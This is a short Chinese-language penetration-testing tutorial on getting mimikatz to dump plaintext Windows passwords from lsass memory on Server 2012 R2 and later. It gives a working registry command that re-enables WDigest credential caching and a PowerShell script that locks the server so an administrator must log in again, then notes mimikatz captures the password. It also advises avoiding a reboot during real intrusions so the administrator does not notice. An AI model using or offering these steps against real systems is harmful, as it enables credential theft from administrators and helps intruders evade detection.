目录
mimikatz抓取明文原理
在Windows2012以及win10之前,登录过程是不一样的,首先winlogon进程会把用户输入的用户名和密码传给lsass.exe进程,此进程首先会在内存中存储一份用户名密码的明文,然后将明文做NTLMhash的加密生成密文,再和SAM文件内的hash值进行比对,相同则登录成功,反之登录失败
所以mimikatz利用lsass进程,直接在内存中将明文密码抓出来
但是微软也因此更新了系统的登录过程,和原来唯一不同的是lsass进程将不会在内存保存明文密码,这样一来mimikatz抓出来的密码就为null了
Winserver2012R2系统之后的密码明文抓取方式
注意:
1.只针对windows服务器系统有效,win10实测不行会报错
2.系统权限
先修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
然后执行ps1脚本让服务器锁屏,需要管理员重新登录
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
上传到服务器执行
管理员重新登陆
此时我们再用mimikatz抓取,可以看到抓到了
除了执行ps1脚本让服务器锁屏外,还可以重启服务器,但实战渗透过程中,最好别重启服务器,第一那会影响正常业务,第二管理员会很快发现服务器异常
参考文章: